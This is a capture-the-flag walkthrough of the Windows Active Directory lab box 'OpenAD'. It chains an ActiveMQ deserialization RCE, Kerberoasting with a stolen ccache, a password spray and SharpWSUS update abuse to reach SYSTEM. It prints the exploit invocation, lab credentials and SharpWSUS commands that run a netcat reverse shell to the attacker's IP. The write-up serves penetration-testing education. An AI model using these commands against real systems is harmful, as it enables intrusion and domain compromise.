OpenAD

Overview

OpenAD is a hard exclusive Windows box centered on a layered Active Directory attack chain. The target runs Apache ActiveMQ 5.18.2 — the same version family vulnerable to CVE-2023-46604 as in Broker, but this time on a domain controller. Post-exploitation reveals a Kerberos credential cache that enables Kerberoasting to recover service-account credentials, leading through a password spray to svc_sql. That account has WSUS administrator rights, which are weaponized via SharpWSUS to push a malicious update package and execute code as SYSTEM on the domain controller.

Path: CVE-2023-46604 (ActiveMQ RCE) → ccache Kerberoast → svc_laps → password spray → svc_sql → SharpWSUS WSUS abuse → SYSTEM.

Enumeration

The initial scan fingerprints a domain controller — DNS, Kerberos, LDAP, SMB — along with web services including an IIS site and ActiveMQ on port 8161.

The web server on port 80 returns a default IIS page; the domain name king.htb is extracted from the LDAP certificate.

Directory brute-forcing the web server finds only aspnet_client — nothing useful.

Port 8161 is more interesting — it hosts the ActiveMQ admin console.

The admin console is protected by HTTP basic auth, but admin:admin works — classic default credentials.

The console reveals the running version: 5.18.2.

Foothold — CVE-2023-46604

ActiveMQ 5.18.2 is vulnerable to CVE-2023-46604, an OpenWire protocol deserialization flaw that allows unauthenticated RCE. The same exploit used against Broker applies here. I edited the poc.xml Spring bean payload to point back to my listener and served it over HTTP:

$ python exploit.py -i 10.129.230.70 -u http://10.10.14.10/poc.xml

The target fetches the XML and deserializes the bean, executing the ProcessBuilder reverse shell.

User

The user flag is readable immediately after landing the shell:

Post-Exploitation Enumeration

Running local enumeration reveals information about the host environment. The box appears to be virtualized:

Checking identity and domain membership confirms we land as a domain user, though the service account password is not immediately known:

A key discovery: the service account has write access to the ActiveMQ binary path, and critically, there is a Kerberos ccache file in /tmp:

Lateral Movement — Kerberoasting with Stolen ccache

The ccache belongs to a domain account and can be used directly with linWinPwn to perform Kerberoasting without a password:

$ ./linwinpwn.sh -t 10.129.230.70 -K krb5cc_1600801117_Qxs0zd

The tool extracts Kerberoastable service tickets:

Cracking the resulting hashes offline recovers credentials for svc_laps:

svc_laps : 16bmxkingm@

Lateral Movement — Password Spray to svc_sql

BloodHound enumeration with the svc_laps credential maps the domain:

Further enumeration, including a Python-related issue that needed fixing, surfaces the SQL$ computer account password:

SQL$ : r%msnCet4EA5#J

Domain users enumerated via enum4linux include: Shaun.Brown, Edward.Farrell, Georgia.Webb, James.Lambert, Julie.Wilson, Kate.McDonald, Eric.John, Eileen.Whitehead, Irene.Richardson, svc_mq, sshd, svc_laps, svc_wsus, svc_sql.

Spraying r%msnCet4EA5#J across those accounts lands on svc_sql:

Notably, SSH is exposed on this Windows box — domain users can log in over SSH, which is unusual but provides a clean interactive session:

Privilege Escalation — SharpWSUS WSUS Abuse

BloodHound (or manual checks) shows a WSUS service is running and svc_sql has rights to add computers to WSUS groups. Checking for ADCS vulnerable templates first turns up nothing:

The WSUS path is viable instead. SharpWSUS can create a fake update that runs an arbitrary signed binary as SYSTEM on managed computers. The approach requires:

1. Adding svc_sql to the WSUS administrators group (or confirming existing rights)
2. Creating a malicious update pointing at a Microsoft-signed binary (PsExec) that chains to a netcat reverse shell
3. Approving the update for the target computer group

Initial exploitation attempts error out until the SharpWSUS configuration is corrected and the account is confirmed in the WSUS admin group:

After logging out and back in to refresh group membership, the exploit proceeds:

Confirming the WSUS admin group membership is applied:

Creating the malicious update with PsExec as the Microsoft-signed carrier and netcat as the actual payload:

> .\SharpWSUS.exe create /payload:"C:\Users\svc_sql\Downloads\PsExec.exe" \
    /args:" -accepteula -s -d c:\Users\svc_sql\Downloads\nc.exe -e cmd.exe 10.10.14.10 443" \
    /title:"Takemyupdate:3"

Approving the update for the domain controller:

> .\SharpWSUS.exe approve /updateid:0089af0c-1b41-4bc4-baad-419e15cc650a \
    /computername:openad.king.htb /groupname:"CriticalPatches"

Once the WSUS client checks in and processes the update, the netcat binary executes as SYSTEM:

Root

With a SYSTEM shell on the domain controller, the root flag is accessible from the Administrator’s desktop.

Takeaways

• CVE-2023-46604 continues to be a reliable unauthenticated RCE against any exposed ActiveMQ OpenWire port — default credentials (admin:admin) on the management console made version confirmation trivial.
• Kerberos ccache files left in world-readable locations are as good as a password — any service ticket inside can be used directly for Kerberoasting or pass-the-ticket without ever cracking the account’s password.
• WSUS administrator rights are a SYSTEM primitive. SharpWSUS abuses the update approval mechanism to execute arbitrary payloads as SYSTEM on any managed machine in the WSUS scope, requiring only a Microsoft-signed binary as the outer wrapper.